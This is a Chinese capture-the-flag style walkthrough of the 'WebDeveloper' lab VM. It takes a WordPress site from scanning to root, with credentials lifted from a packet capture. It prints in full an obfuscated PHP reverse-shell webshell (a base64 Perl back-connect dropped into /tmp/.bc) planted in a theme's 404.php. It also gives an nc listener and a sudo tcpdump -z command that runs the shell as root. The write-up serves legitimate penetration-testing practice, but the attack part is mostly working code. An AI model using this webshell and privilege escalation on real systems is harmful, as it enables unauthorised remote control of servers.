WebDeveloper 渗透实战
靶机IP:192.168.56.104
kali IP:192.168.56.101
nmap全扫
nmap -sS -Pn -A -p- -n 192.168.56.104
image.png
web渗透
既然是wordpress建站,又是杀鸡用牛刀
爆用户名:
http://192.168.56.104/?author=1
image.png
管理员应该就是 WEBDEVELOPER(大小写都有可能)webdeveloper
暂时不爆破,扫下目录
dirb http://192.168.56.104
image.png
探测到一个特殊目录:http://192.168.56.104/ipdata/
image.pngdown下该analyze.cap的文件,可以用wireshark打开
以一般渗透的经验,这种抓包,肯定有登录后台admin的HTTP包,直接定位到HTTP的POST包,应该有抓到登录POST的账号和密码
image.png直接拿到登录的账号密码:
"log" = "webdeveloper"
"pwd" = "Te5eQg&4sBS!Yr$)wf%(DcAd"
登录后台上反弹shell
image.pngwordpress拿站就不用再强调了
后台404挂马
再提供一次这个猥琐的反弹马,自行修改IP和port
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.56.101";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
选择 twentysixteen 这个页面,测试过了 twentyseventeen 会报错,应该是插件拦截的问题
image.png
upload成功后,在kali中开启nc监听
nc -lvp 4444
访问该反弹马的路径:
http://192.168.56.104/wp-content/themes/twentysixteen/404.php
image.png
反弹成功
提权
常规操作,先看下wordpress的配置文件config.php
image.png
找到数据库的账号、密码:
webdeveloper : MasterOfTheUniverse
尝试登陆下ssh
image.png
接下来就是提权操作了
翻了数据库,没有没什么可以利用的
sudo -l看一下当前的权限
image.png
发现能以root用户运行/usr/sbin/tcpdump,可以借此提权
查看下help
image.png
tcpdump提权
发现tcpdump这个抓包工具能以root权限执行,便可以将反弹shell以root权限执行从而反弹到kali
现在kali中开启nc监听
1、将之前的反弹shell马写到tmp目录下hack中
echo $'php /var/www/html/wp-content/themes/twentysixteen/404.php' > /tmp/.hack
2、赋权
chmod +x /tmp/.hack
3、sudo 执行tcpdump 反弹到kali
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.hack -Z root
image.png
直接打到root权限了
get flag:
image.png
总结
1、该靶机web端渗透属于常规操作
2、难点在于发现了tcpdump能以root执行,这个提权操作是第一次接触
靶机百度云下载
链接:https://pan.baidu.com/s/1FIK_G06h-nCg_7BM0UMvkw
提取码:qdhi